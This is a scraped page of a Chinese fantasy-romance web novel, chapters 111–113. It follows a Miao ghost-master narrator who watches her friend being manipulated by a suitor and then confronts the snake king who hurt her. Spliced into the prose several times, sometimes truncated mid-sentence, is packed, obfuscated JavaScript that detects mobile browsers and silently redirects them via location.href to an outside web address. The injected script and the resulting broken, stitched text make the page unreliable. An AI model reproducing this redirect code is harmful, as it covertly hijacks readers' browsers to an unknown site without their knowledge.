况且潮生哥你赚钱不容易,我们这关系,你没必要和我生疏客气,只要你能偶尔回来看看我,我就心满意足、别无所求了。” 我:“……” 如鲠在喉! 人怎么能……恋爱脑到这种地步! 从前的银杏,分明、是个乐观向上,从不焦虑内耗的阳光女孩。 别人说她一句不好,她不等隔夜就朝对方重拳出击了。 现在,被宋潮生指着鼻子当面洗脑…… 非但不反抗还认为他说得有道理。 这样的感情,值得她争取吗? 银杏把珍珠项链放进宋潮生手里,宋潮生假模假样地内疚道:“也怪我,没有考虑到你的自身情况,不该给你买珍珠项链。” 银杏傻乎乎地笑道: “潮生哥别这么说,这项链我挺喜欢的,只不过我不适合佩戴…… 潮生哥刚才的话我都记住了,你放心,我回去就换上简单朴素的衣服,尽量不戴那么多首饰…… 潮生哥,我会努力变成你喜欢的模样!” 宋潮生听罢,抬手拍拍银杏肩膀,佯作语重心长:“你能明白潮生哥的苦心,潮生哥就放心了!” 我抽了抽嘴角干笑笑,沉默片刻,还是不甘心,故意从袖中掏出一串做工精致,花里胡哨,铃铛一串连着一串的银花嵌和田白玉项链。 当着宋潮生的面,亲手给银杏挂在脖子上:“潮生哥刚才说得对,你的确不适合戴珍珠,那珍珠配不上你,珠子虽然圆润,但通体小家子气。还是我们阴苗族的银饰更适合你。” 项链叮叮当当地被挂在银杏脖子上,银杏不解地扭头看我,扶着胸口铃铛踟蹰道:“这条项链太夸张了,我……” 我淡定打断她: “这是我十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16257891|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八岁生日那天,外婆送我的项链。 外婆说了,我们九黎族的女儿们身上银饰越多,证明她在家中越受宠,她在族里的地位越高! 长辈送小辈银饰,就是希望小辈往后的日子能和和美美,幸福美满! 你平时佩戴的银饰都是李大叔给你打的,那些不是普通首饰,是李大叔对你的爱! 我命不好,如果我也有父母在身边,我头上的银饰肯定不会比你少。” “你、怎么把这串项链给我了,这是老祭司……” “过几天就是女儿节了,外婆后来给过我更漂亮的项链,这条项链对我来说,也很有意义。现在我把它送给你,就当做是女儿节给你的礼物,希望我的银杏余生幸福欢喜。” 我从**住银杏的肩膀,故意和宋潮生唱反调还不忘当面挑衅:“潮生哥,你觉得这串项链适合银杏吗?” 宋潮生见是我问,也不好乱说话,只能变脸比翻书还快地闷咳一声,正儿八经地改口道: “老祭司的眼光当然没得说!这条项链做工精致,繁琐却不俗气,很漂亮……银杏你以后真得多跟镜镜学习!你都和银杏认识这么多年了,怎么一点也没学到镜镜的优点……” 他不会觉得拿我和银杏比较,刻意打压银杏捧高我,能讨我欢心吧?! 真想撕烂这家伙的嘴! 银杏到底是撞什么邪了,怎么偏就看上了他…… “镜镜身上的优点太多了。”偏偏银杏一撞见宋潮生就智力下降,都被宋潮生这么羞辱了还能挽着我胳膊开心笑出来:“我以后会努力向镜镜学习的!潮生哥,你等着我进化成镜镜2.0吧!” 宋潮生翻了个白眼:“希望真会有那么一天吧!” 我猛喘两口气压下心头怒意,王八蛋,老娘以前都没舍得这么作践我的银杏…… 他怎么敢当着我的面欺负我的姐姐! “你今天过来,有事?”我冷漠问他。 他洗脑完银杏又来忽悠我,装得真心实意掏心掏肺,一把握住我的手紧张道: “昨天那条大青蛇,就是蛇王,对吗?镜镜,你也看见了他生性残暴,他**! 我还听说,柳叶村的事就是他闹出来的,镜镜,我想了一夜,还是觉得,就算被蛇王报复,我也要拉你出火海!镜镜,他是畜生他是蛇,蛇是冷血动物! 他今天能吃了其他无辜村民,明天就能吃了你!镜镜,他就是个定时**,说不准什么时候就发疯了!你不能养蛇为患! 听话,跟我走,我保护你,我带你远离九黎山,我带你远走高飞一辈子都不回来了!” 身旁的银杏看见他双手紧握着我的手,眼眶一红,假装没看见的别过头。 我嫌恶地把手抽出来:“走?去哪?” 他目光坚定道:“去省城,我带你走!带你回我家!只要你愿意……余生,我照顾你!” 这情真意切的模样,看得我胃中犯恶心。 我弯唇讥讽:“你想让我嫁给你?你就不怕蛇王报复?” 宋潮生忽略银杏的存在,果断道:“我不怕!镜镜你信我,就算我宋潮生是肉体凡胎,我也能保护你!哪怕拼上我这条性命!” 我不禁嗤笑:“上次和我说这些话的人,还是赵二。可现在呢,赵二成了宋花枝的追求者。潮生哥,我是阴苗族的鬼师娘娘,你觉得,就算蛇王不计较,阴苗族的族人们会允许你拐走我吗?” “我们、我们可以偷偷离开,他们总不能干涉鬼师娘娘的人身自由!” “私奔?” 宋潮生厚颜无耻地坚持不懈忽悠我:“镜镜你放心,我不是赵二,只要你愿意,去我家,我绝不会允许任何人欺负你!” “我现在自己有能力保证自己不被欺负,我在阴苗族还是受人敬畏的鬼师。你凭什么觉得我会因为你三言两语,就愿意为你背井离乡,放弃所拥有的一切,和你走?” 我又不是银杏这个傻姑娘! “镜镜,你别再执迷不悟了!” 宋潮生着急道: “大祭司说了,会给柳叶村一个交代,现在柳叶村的种种证据都指向你家里那条大青蛇!她肯定会为难你的!” 第111章 夫人,别赶我走…… “我又不是第一次被她为难了。” 我不领情地瞥了他一眼, “潮生哥,看在小时候我们是玩伴的份上,我奉劝你一句,珍惜眼前人,莫强求不属于你的人或物。” 宋潮生脸色难看的张了张嘴,看了看我,又扫了眼银杏,欲言又止。 后来,宋潮生自讨没趣的灰溜溜离开了我家。 我目送宋潮生的背影消失在院门口,不理解地转头问精神恹恹的银杏:“你到底看上他什么了?” 银杏没说话,只是笑容勉强地摇了摇头。 —— 日暮时分。 阿乞光着双脚,将裤腿挽得高高的,下水叉鱼。 两条带血的鲢鱼丢进竹筐里,阿乞偷偷看了眼坐在树上郁闷赏日落的银杏,轻手轻脚来到蹲在水塘边拿刀剔鱼鳞的我身旁,低声朝我告状。 “这两天银杏姐都快被那个宋潮生PUA**!” “一会儿嫌银杏姐不会做饭笨手笨脚,一会儿嫌银杏姐没有文化,看不懂他们的行业专业名词。” “银杏姐也像是突然被夺舍了一样,宋潮生说什么她就信什么。” “就因为银杏姐不会做豆腐,宋潮生就洗脑银杏姐,说什么不会做豆腐的女孩就是手不稳,不够贤惠!” “银杏姐就一个人在厨房做了一夜的豆腐。第二天早上他看见厨房菜盆里堆得那些被炒烂的豆腐,又说银杏姐浪费,不懂得节约粮食,说着说着甚至扯到银杏姐花钱肯定大手大脚的话题上了!” “银杏姐虽然表面笑着接纳宋潮生的一切批评建议,可背地里哭得眼睛都肿了。还有她做豆腐那夜,也是一边抹着眼泪一边添火做菜。” “银杏姐在我们面前性子要强,可在宋潮生面前却卑微到了尘埃……我总算明白你前几天为什么让我盯着宋潮生了,镜镜姐,你说银杏姐是不是撞邪了? 一个人,怎么会在特定的某个人跟前,突然性情大变呢。平时和我们在一起的银杏姐,与和宋潮生在一块的银杏姐简直是两个完全不同的人!” 我低头刮着鱼鳞,早有所料地叹道:“正常,谁让银杏着了魔似的喜欢宋潮生呢?这都四年过去了,她还是忘不了宋潮生。” 甩了甩手上的水,我狐疑道:“该不会是真被宋潮生下什么蛊,或者邪术了吧?!” 阿乞弯腰摸虾:“我偷偷探过银杏姐的阴脉,一点异常都没有!不像是中蛊或中邪术了……” “她这样讨好宋潮生,在宋潮生面前伏低做小,李大叔没管她吗?” 阿乞摇摇头: “师叔祖都知道,但师叔祖没插手。哪怕宋潮生当着师叔祖的面贬低银杏姐,师叔祖也一言不发。师叔祖不会也撞邪了吧!这个宋潮生太邪门了,怎么师叔祖与银杏父女俩都对他如此包容。” 我清洗干净一条鱼,拧眉无奈说: “李叔大概是故意不管宋潮生如何欺负银杏的,毕竟,现在能救银杏的,只有银杏自己。” 掏出手帕擦干手上水渍,我起身,远远冲银杏招手。 银杏没有精神的不情不愿从树上跳下来。 陪我缓步走在水天一色,波光粼粼的池塘岸边。 我牵住银杏的手,还是好奇,追问道:“这些年,我一直不是很懂,你什么偏偏看中宋潮生,你明知道他不在乎你……” “我清楚,他喜欢的人是你。”银杏垂头丧气说。 我赶紧撇清关系:“可我并不喜欢他。” “这个我也知道……所以,我还是有机会的!” 我哽住,拿她没办法的苦心劝道: “一个不爱你的男人,你强求只会给自己找不痛快。就算你俩有未来,你能忍受得了他日复一日的言语打击折磨吗?” 银杏傻傻道:“可我觉得……他说的也有道理。我身上的确有很多臭毛病,得改。” 我重重叹气: “你那是被他洗脑了!你如果真有他说的那么不堪,这二十多年来你又是怎么存活下来的? 人最怕的,就是在别人无数次否定自己后,自个儿都对自己产生了怀疑!” 银杏焉巴巴地别过头:“镜镜,你别管我了……我就是喜欢他,我放不下,改不掉。” “可在他没有回来之前,你不是已经对他淡了吗?” “但问题的关键就是、他回来了,而且,他还答应我,以后每年都会回来看我,他如果心里一丁点也没我,就不会对我许下这个承诺。” “许了承诺,就会做到吗?”我迫不得已揭她当年的那道伤疤:“当初,他也答应过你,等暑假结束再回省城,可事实呢?他刚高考完,不到一个星期就上了去省城的火车。” “那不是他爸**的吗,他在我家住了好几年,他父母也好几年没见到他,肯定想念他,才会催促他回家。” 我拿她没办法地着急道:“你啊,总能给他找出无数个理由!” 不甘心地拉她停下来,我站在夕阳余晖前,郑重问她:“宋潮生到底有什么好,值得你这样痴迷?喜欢一个人,总要有个理由吧?” 银杏努了努嘴:“也可以没理由嘛……” “怎么会。” 她委屈反驳我:“那你喜欢蛇王老爷也有理由吗?” 我不假思索地脱口而出:“当然有啊,他长得好看还能给我安全感,对我好还打架厉害!” 话说完……我蓦地愣住。 下一秒,心慌意乱地别过头。 怎么又忘了,我和他已经没关系了。 银杏抿了抿唇,昂头放眼看着天边落日,见我追问得紧,只好说: “你还记得,我十二岁那年生了一场大病吗?我打小就听爸说,我是童女命。 童女命,活不过十八岁,而我是劫难十二岁就来临了。 那会子老祭司和爸想尽办法帮我渡劫,但我还是连日高烧不退,昏迷不醒。” 我点点头: “记得,那年外婆带着我直接住在了你家,外婆连鬼针都用上了,可你烧得实在厉害,鬼针顶多只能让你情况不恶化,并不能给你退烧。 那段时间我每晚都守在你的床前给你擦脸,用凉毛巾帮你降温。有时,你夜里烧的狠了,还会抽粗口吐白沫,都把我吓**。 外婆和李大叔还在你床头点了九盏油灯,说,只要九天内九盏油灯不灭,你就还有救,可打那天往后,你床头的油灯每日凌晨子时都会熄灭一盏,到了最后一天,最后一盏油灯也灭了。 李大叔抹着眼泪出门,当晚就给你定了三十多副花圈,一副棺材,还给你买了一身粉红色的寿衣,连引魂幡都挂起来了。 但幸好你一直吊着一口气没断,半死不活地躺了半个月后竟奇迹般活过来了!” 银杏不好意思道: “就是那半个月……我在梦里遇见了一个人,梦里的天是昏暗的,我也瞧不清那人的脸。 和他在一起经历的事,醒来后也忘得差不多了。 但还能记起一点点。 我记得,在我撑不住、快**,灵魂快要散去了的时候,有个穿着黑色古代长袍的男人抓住了我的手,将我从无底深渊里拽了上去。 是他不断在我耳边说:银杏,别睡,醒醒,活过来……梦里我俩后来进了一座漆黑阴森的宫殿,他牵着我的手,带我涉过黑水河,他还教我打鸟,陪我生火烤肉。 我浑身发冷,他就温柔地把我搂进怀里,抱着我睡。 我俩以地为床,以天为被。他陪我看星星,手一挥,月亮就在我俩眼前,近得能看见月球表面的坑坑洼洼。他会给我梳头发,有时、还会给我洗澡。 我在梦里遭到很多次劫难,都是他护着我熬过来的。 最后的最后,我不知为何,魂魄越来越虚弱,身体都变得透明了,我害怕他看不见我,哭着拉着他的袖子问他怎么办,他也很着急,然后,他选择将自己的灵力渡给我。 我的魂魄终于又有了颜色,但他双鬓却生出了白发。 他快要**,我自责地趴在他怀里哭,我求他和我一起走,他却摸着我的脑袋和我说,他是个没有未来的鬼魂,他回不到阳间,我们以后,再也不能见面了。 我怕**,扑在他怀里哭得很伤心,很久,他才又安慰我说,别哭了,如果他有幸逃过那一劫,就来现实找我。 我一直记得他和我的这个约定,我死里逃生清醒过来后,也一直在等他。一年又一年过去,我真的很害怕那只是一场梦,害怕我找不到他了…… 直到,我跟着我爸去潮生哥家里办事,见到潮生哥……潮生哥的身影真的很像梦里那个男人,而且潮生哥右腕上也有一颗小黑痣! 更巧合的是,我十二岁那年,出事的那段时间,潮生哥也从山上摔下来昏迷了将近半个月,我梦里的那个人肯定就是潮生哥!” 我怔愣了许久才消化完她告诉我的这堆信息,讶然道: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266005|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“所以你是因为,你梦里那个对你很好的男人可能是宋潮生,所以才一次又一次地纵容宋潮生辜负伤害你?” 银杏笃定点头: “他就是我梦里的那个哥哥!身影相似可能是凑巧,那右腕同一个地方有小黑痣呢? 我高烧不退昏迷不醒,他也在同一段时间摔下山坡陷入昏迷,这一桩两桩都吻合,肯定不是碰巧! 他就是在梦里救我的那个男人! 而且我还发现,他现在年纪越大,越成熟,声音也和我梦里的那个哥哥越像。 一定是他,肯定是他,他真的信守承诺回来找我了!他现在处处看我不顺眼,疏远我,肯定是因为他忘记我俩在梦中的经历了! 我问过我爸,我爸说两人同时昏迷同时入梦,的确有可能赶上什么机缘坠入同一个梦境,只是有的人体质特殊,在苏醒后能记得梦中的事,有的人八字轻,就会记不住。 不过没关系,我可以等,等他记起我……就算他一辈子都记不起那些事了,也无妨,只要我还记得就够了。” 银杏握住我的手,认真且伤感道:“镜镜,他救过我的命啊,我在十二岁那年,就已经认定了他。” 我望着她充满期待,渴望我能理解她的黝黑眼眸,无奈哽住。 沉默良久。 那场梦,究竟是银杏命定的姻缘,还是……银杏执念太深,过于执着梦中虚构出来的人物? …… 月亮升起来时,我拎着清理好的两条大鲢鱼回家。 银杏与阿乞在前面做游戏比谁跑得快。 我跟在他们身后,慢悠悠地迈着步伐。 今天一天,都没有看见那条冷血蛇了…… 是真的走了吗? 不对,他走了我应该如释重负才正常。 他离开,就代表他和那个蛇女的确是情侣…… 他们只是回到属于自己的地方生活了。 什么演戏气我,只是我的臆想。 这世上哪有那么多误会……不过是冰冷残忍的现实、瞒不住了而已。 他走了我该庆幸,至少早早发现真相从中脱身,好过深陷其中再强迫自己放下…… 真到那时,我恐怕得承受比现在痛苦一万倍的窒息感。 我长舒一口气,强迫自己不去想他。 回家将两条鱼一条糖醋一条做辣子鱼,银杏和阿乞晚上在我家陪我吃饭。 两盘鱼端上桌后,阿乞吹吹被烫红的指尖,好奇问我:“镜镜姐,帝君呢?” 银杏率先拿起筷子尝了口辣子鱼:“对啊,今天一天都没看见他老人家,他又出门办事了?晚上还回来吗?” 我面无表情的给银杏盛饭,“不回来了。” 银杏啧了声,没懂我话中的真正意思,调侃道: “镜镜你这样不行啊!你老公夜不归宿你都不管,男人这种生物,容易得寸进尺。 他一次两次夜不归宿你不计较,以后他就会默认你不约束他夜间行动,就会更加频繁且肆无忌惮的每晚出去鬼混,到时候你再想管可就难了!” 我把米饭放在银杏手边,淡淡道:“他以后都不会再回来了。” “以后都不再回来也不能纵着他夜……”银杏下意识接话,说到一半,猛地清醒过来:“不会再回来了?什么情况,你俩吵架了?” 阿乞捧着碗愤愤道:“帝君欺负你了?!” 小凤凰叼起小碗里的鱼肉:“他俩分手啦!” 阿乞:“……” —— 吃完饭,阿乞与银杏早早地同我打招呼回自己家了。 临走还偷走了我的小凤凰。 我趴在卧房的窗前消食,看着窗外的摇曳树影发呆…… 夜里九点,我有些瞌睡了。 小凤凰还没回来,我只好自个儿亲自起身出房间,去给院门插上大闩。 从檐下经过时,头顶突然传来瓦片松动的声音。 下一秒,一道青瓦坠落、摔碎在什么东西上的闷响就出现在我头顶…… 碎裂的瓦片溅在我脚边。 我被吓一跳,惊慌转身,竟见到一条粗壮高大的青色巨蛇弯腰护住了我的身影—— 脑袋上,还残留着瓦片碎末。 我呆呆的昂着头看他,不明白他为什么要这样做…… 青蛇眨了眨灿若繁星的金色竖瞳,与我四目相接,怔了怔。 随即讨好地压下脑袋,把头送给我摸…… 温声祈求:“夫人,别赶我走……外面冷。” 第112章 我喜欢你,但不是你伤害我的理由 夫人…… 我痴痴瞧着他的深邃眼眸。 清冷月华落在它暗青却晶莹剔透,比青宝石还璀璨耀目的坚硬鳞甲上…… 诱得人忍不住想伸手抚一抚他庞大蛇身上泛着的点点星光。 恍惚中,我脑子里似突然多出了一段陌生的记忆—— 好像、曾几何时,他也这样紧张无助地向我低过头…… “阿鸾,你不要我了?” “你说过,我是你的灵宠,除非你死,不然你不会解除你我之间的契约,放任我被别人欺辱而不管……” “阿鸾,我都知道了,你强行斩断契约是怕他们伤害我,你说的那些难听话,也是为了逼我恨你。” “阿鸾,我是你的大蛇,我永不会背弃你,永不会离开你。” “阿鸾知不知道,我在晓得你做那些事,不是想杀我,而是想救我的时候……我有多开心。” “我不怕被人千刀万剐——我只怕离开你,就再也见不到你了。” “鸾鸾,别赶我走。” 有点恐怖的画面在我眼前接踵闪过,火光滔天,血淋淋的…… “玉鸾圣女你这是在做什么!他可是拥有龙骨的青蛇!” “我们幽冥山一族在外费尽心思地寻了他几十年!没想到竟被你偷偷养在族内,圣女你赶紧交出青蛇,你这样护着他,难道是想看着我们幽冥山不老族灭族吗!” “只有得到他的力量,我们才能多活一百年!你可是我们不老族的圣女!你如此行径同叛族有什么区别!” “圣女,老朽劝你不要多管闲事,你即将羽化飞升,即便你死死护着这条青蛇不放,他也活不了几天了!” “圣女只剩九日时光,我们现在拿圣女没有法子,九日之后,没有圣女的庇护,这条蛇照样会被我们的开膛破肚!” “圣女!我劝你不要不识好歹,你生而为我族圣女就该为我族的繁盛付出性命!来人,圣女不遵族规,请她入祖祠,让她在不老族列祖列宗的排位前,静心思过……” “你的身体,是我们的,你的力量也是我们的,圣女,就是不老族长生不老的仙药。” “玉鸾姐姐……你怎么被折磨成这样了!” 身穿暗红色阴苗族服饰的年轻女孩模糊身影在我眼前晃啊晃—— “是我来迟了,我这就带你走!我们偷偷离开,等进了阴苗族境界,九黎山一带有桑华大帝离开前下的结界,他们就没办法再伤害你,强迫你了!” “姐姐!你别犹豫了!你和阿漓我都带走!我们阴苗族乃是西王母罩着的上古族落,他们不敢拿我们阴苗族怎样的。” “阿漓,你背上姐姐,等会儿出去我会把你们变成我九黎族的两名侍女!我是阴苗圣女,他们不敢阻拦我回族……” “阿鸾,别赶我走……我不去阴苗族,我要留下,守着你!” “我想同阿鸾,生死与共。” “别啊,阿漓!阿漓我实话和你说了吧,我见你第一眼就觉得很熟悉,像我小时候在镇山龙神庙见到的……六十年前他遭遇天劫,记忆全无,你根本不是青蛇,你是……” “玉鸾姐姐!阿漓!你们怎么这样傻呢……” “宋云婼,你快逃!他们早已失了人性,成了恶魔!鸾儿说得对,这本就是个死局……” “玉鸾姐姐,阿漓哥哥——” 女孩隔着滔天烈焰撕心裂肺地冲我们哭喊着…… 有蛇温柔化成原形,将我亏空羸弱的身躯心疼缠裹住—— “能与你死在一起,是我此生,最幸福的事。阿鸾,若有来世,做我妻子可好……” “大蛇……青漓,若有来世、若还能见到……我想嫁你。” “阿漓,你有龙骨,又一身好修为……若非被仇家千刀万剐损了根基失了道行,你早便可飞升化龙……” “阿漓、这些人,都疯魔了,我不愿我的力量为他们所用,成为他们作恶的资本。” “只愿,圣女一脉,能断在我这一代。” “我修炼了三百年,体中力量,足以飞升成仙……阿漓,虽然我不晓得你到底是谁,是神还是妖,但我不想让你陪我一起死……” “阿漓,我助你成仙!” “阿鸾——” 耳畔依稀回荡着男人轻慢儒雅的委屈嗓音:“阿鸾,别赶我走……” “夫人,我在等你嫁我。” “阿鸾,别不要我。” 短暂的晃神,我的脑子里好像被人强塞进了一段不属于我的记忆。 那一幕幕诡异的画面初看清晰无比……待走马灯结束后,又迅速模糊。 我再清醒,抬眸看他时额角已冷汗一片,糊涂话不过脑子地脱口而出:“你到底是谁?你是华……” 眼前的大蛇一僵,眼底划过一丝慌乱。 可惜话还没说完,我就忘记刚才想起了什么……也忘记自己想问什么了。 撞邪了? 我蹙眉哽住嗓音,心累地深呼吸。 一定是我最近没休息好,脑子熬坏了,神经系统出了故障…… 我抬手擦去额角黏糊糊的冷汗,心神不定地别过头,故意对他生疏冷漠:“你怎么又回来了。” 青蛇恹恹低头,落寞地垂下眼皮:“阿鸾,我一直没走。” 我转身背对他,攥住双手掩饰内心的不安:“蛇王大人该不会是真看上我这一间破院子,几间破房子了吧。” “阿鸾,我想……和你谈谈。” “但是我没有什么事想和蛇王大人谈。” 他哽了哽,自顾自说下去: “你说你不会喜欢我,你怕惹我不高兴,我会吃了你,你还和灵凤提到了青梅竹马…… 我那天去柳叶村办事,回来正好路过宋家,听见宋家拜神说、想见你,这次一定把你娶回家。 那时我便不高兴,到家后又听见你提青梅竹马,我以为,你说的是他,所以那夜我才赌气又离开了。 第二天回家,我故意不和你说话,你担心我,我也冷言冷语。 我在生你的闷气,但我又没有同妻子化解误会的经验,我只一味地怪你冷心冷情。 我有意躲着你,我委屈,我怕我疯魔起来真会伤了你。 可当你问起我,柳叶村的事时,我是真的失控了,我不明白为何你我都已经是夫妻了,你我都那般亲密了,你却还怀疑我。 我不知道你想说的话,是你担心我,我误以为你也觉得,柳叶村**的妖怪是我,是以我才掐了你的脖子…… 我不该那样对你,那回,是我吓坏了你。我也没想到谢妄楼会带你去偷窥我和紫蛇,其实阿鸾刚去,我就察觉到了,只是我想报复阿鸾的不信任、不喜欢,才故意当着阿鸾的面做出那些事。 后来见到阿鸾和宋潮生在一起,阿鸾还收了宋潮生的礼物,我更气得发疯,我想杀他,你竟还阻止…… 他们说得对,我心眼小还气性大,那香囊,我很喜欢。 是我被旁人的话左右了理智,在此之前,我还无意听见进入柳叶村的宋花枝母女说,你打算联手她们对付我,那张鬼符,我只看了一眼就将它错认成了除妖符。 阿鸾……即便真是除妖符,我也喜欢的,可我就是犯了蠢,才做错事,伤了你的心……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我贪婪的以为你的怀抱是我专属,我看见你和别的母蛇亲近就心口疼得像刀剜,你不理我的时候,我好想你能回头看看我,哪怕和我多说几个字,我都会很开心。 你掐我脖子那晚,我很委屈,但我更怕你不要我。 你说我在装,银针上根本没有毒,我难受得夜不能寐,心里的委屈比被狐毒折磨还难熬。 你和她出现在一起,我会萌生出,把你抢回来的想法。 谢妄楼和我说,你早就有了心上人,午夜梦回我甚至会在想,如果我没有嘴硬,早点向你表露我喜欢你的信息,你会不会还能是我的。 但转念细想又发现不对,我根本没有资本和那个女孩争,我表白得再早,也不能赶在三百年前你们还没相恋的时候向你表明心迹啊! 我只是不明白,你都已经有喜欢的人了,为什么还要对我这么好。 这几天,我的心在告诉我,我思念你,我的灵魂在叫嚣着想见你,连牵你的手都已经成了奢望。 我倒真希望、我不喜欢你,不喜欢你就不会在意你有没有搂别的女人入怀,不喜欢你就不会在意你,有没有跟别的女人走。 我也恨自己啊,为什么要到这种时候,才发现自己在乎你在乎得要命,喜欢你喜欢得着魔。 青漓,我给你答案,我对你有好感,我喜欢有风度有分寸的你。 无论是你是人是蛇,是妖是仙,我都喜欢你。” “鸾鸾……”他敏锐察觉到我情绪的异常,嗓子沙哑得厉害。 我说喜欢他,却没有转身拥抱他。 我向他说出全部心里话,只是想、和他做个了断。 “你说,你和她没有关系,我应该高兴的。” 十指死死抠着掌心,我伤感地低头:“但这不是你伤害我的理由。” 第113章 紫蛇:帝君他自虐,还一巴掌把我呼墙上! “阿鸾……” “我承认这事,是因为我嘴硬而起。 我们俩都没有想到会变成现在这个样子,也许你利用蛇女报复我的初衷,不是为了伤害我,而是为了逼我认清自己的心…… 可是蛇王大人,我害怕了。 我怕再被你冷暴力,我怕因为别人的一句话我就自卑地无数次反思自己有没有做错什么事,夜夜辗转难眠。 我怕我在意的人弃我而去,我怕就因为我做错了什么,原先把我视为珍宝的人,就转头把另一个女人放在手心顶替我的位置。” 我闭上眼睛,哪怕在努力克制了,身体还是忍不住地发颤,滚烫泪珠掉下眼角: “不管我做错了什么,你也不能用亲近别的女人的方式来报复我啊……我也会难受的。 我不知道你们蛇类是不是一夫一妻,我们人类,一个丈夫只能有一个妻子,丈夫和别的女人亲近,那叫出轨。 蛇王大人,就算你们没关系,就算谢妄楼在骗我,可我也亲眼看见你抱她了,你允许她挽着你胳膊,我们闹别扭的时候你还和她在一起。 现在我们闹别扭,你就能理所当然地牵别的女人手,碰别的女人身体,搂别的女人回家,以后真在一起了,你再生气,是不是打算和别的女人发生关系?” 他悄然化回人形,从后环抱住我颤抖的身子,自责哽咽:“鸾鸾,我没有这么想过……” “可你搂了,也亲近了,所以蛇王大人是觉得,这次是事出有因才碰了那个蛇女,你很有底气,你就不算出轨吗? 那我是不是也可以,为了气你,去亲近宋潮生赵二,我主动对他们投怀送抱,我允许他们将我抱起来带回家,蛇王大人觉得这样就不是背叛了吗?” “阿鸾,本尊没有碰过除你以外的其她女子,本尊就算再生气也不会这样作践你……” “我都看见了,你把人家都抱了,还不算碰吗?那蛇王大人的底线未免太低了些。” 我崩溃地低着头轻声啜泣,僵硬的身体颤得厉害,艰难张嘴,无力但清晰地和他说道: “蛇王大人,我们没有以后了。我喜欢过你,但现在不喜欢了。” “从你抱着那个蛇女,头也不回地离开,从你利用蛇女,亲近蛇女,让我像个跳梁小丑在你面前眼睁睁看着你和她亲密的时候,我们就没有以后了。” “别人碰过的,我不要。” 他从后抱着我不肯撒手,亲昵地吻着我脖子……把头埋进我的脖窝里。 “阿鸾,你不要我,我就赖着你。” “我是你的,你赶不走。” “我是个浑蛋,我让鸾鸾难受了……” 不久,我就感觉到衣领上一片滚烫濡湿…… —— 柳叶村连续多日被妖物祸害,一大早我刚起床,就被风风火火赶来我家的阿乞给拽去族里的平安堂开会了。 平安堂原本是族里长老们与大祭司议事的地方,也是长老会的所在点。 当初大长老闭关后,平安堂就成了宋淑贞的地盘。 如今阿乞回来了,平安堂的钥匙自然就还到了阿乞手上。 月阴村的男人们都早早候在了平安堂,我本来不需要出面的,奈何阿乞这家伙非要扯我去镇场子。 说什么大祭司与圣女都不在,我这个鬼师到场能稳定军心。 而他召开这个早会的目的,就是准备带长老会的人马去柳叶村支援大祭司。 走之前,须得提前排兵布阵,带他们实地演练,重新罗列阵法。 我也是在进入平安堂后,才从村里男人们口中得知宋淑贞被打伤了的消息…… “昨晚那只怪物又现身了!大祭司不敌他,被他震伤了肺腑。” “圣女现在还哭哭啼啼守在大祭司身边,可惜啊,圣女这些年来始终不得大祭司真传……面对这么凶悍的怪物,只能躲在柳叶村族人的家里不露面。” “大祭司是为了救老张家的孩子,才被怪物打伤的,老张一家的确惨啊,要不是大祭司舍命相救,家里的小孙子也在劫难逃啊!” “不过,奇怪的是,前两天那怪物不是被大祭司给镇住了吗?昨晚怎么突然发疯了?” 村民们你一言我一语,人心惶惶。 凤凰站在阿乞肩头叽叽喳喳: “你们大祭司哪来那么大本事镇得住恶蛟,还真会往脸上贴金,那条蛟龙前几晚明明是被渣蛇给镇住的! 谁让老张家欠,非要去拔什么蛇鳞,这下可好,昨晚恶蛟趁着渣蛇不在,跑过去报仇了…… 要不是渣蛇在柳叶村留了禁制,你们的大祭司和老张家小孙子都得死!” 我坐在边上安静喝着茶水,听小凤这么说,突然想起来、昨晚他是跑来找我了…… 我没原谅他,他就迟迟不肯离开。 凌晨三四点才悄然出门…… 那条恶蛟还真会卡时间! 村民们说着,忽有人话里有话地小声询问我:“鬼师娘娘……听说你家养了条青蛇,它最近还正常吗?” 我立马会意,抬眸瞟了年轻男人一眼:“我家的蛇王昨晚没出门。柳叶村作恶的妖怪,不是我家青蛇。” 村民们面面相觑,神情各异。 能看出来,他们都不太相信。 我淡定放下茶碗,稳重道: “等降服了那只妖怪,你们自然就见到它的真面目了,族里的传闻我也略有耳闻,但我能和大家保证的是,我家那位蛇王绝不会无故伤害任何人,他如果想**,第一个死的就是我。” 村民们听我都这样说了,也不好再和我争辩。 阿乞听完村民们表述的柳叶村具体情况后,就带着长老会的打手们去院子里布什么诛邪大阵。 我对着那群窃窃私语的村民们没多少话说,就先走一步,离开平安堂打算回家。 但谁晓得我刚出平安堂,还没走半里路,就在途径一棵大枣树下时被一只手给猛地拽到了无人居住的破旧土坯房拐角院墙后…… 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我刚想安慰他两句,谁知道他还不领情,一巴掌把我呼在了墙上! 把我脑子拍晕了,他自己跑了,估摸是跑回自己的神庙找那两倒霉蛋哭唧唧了!” “自虐倾向?”我越听,心越乱。 沉默一阵,我捏紧十指,强迫自己不去在意他,扭头冰冷无情道: 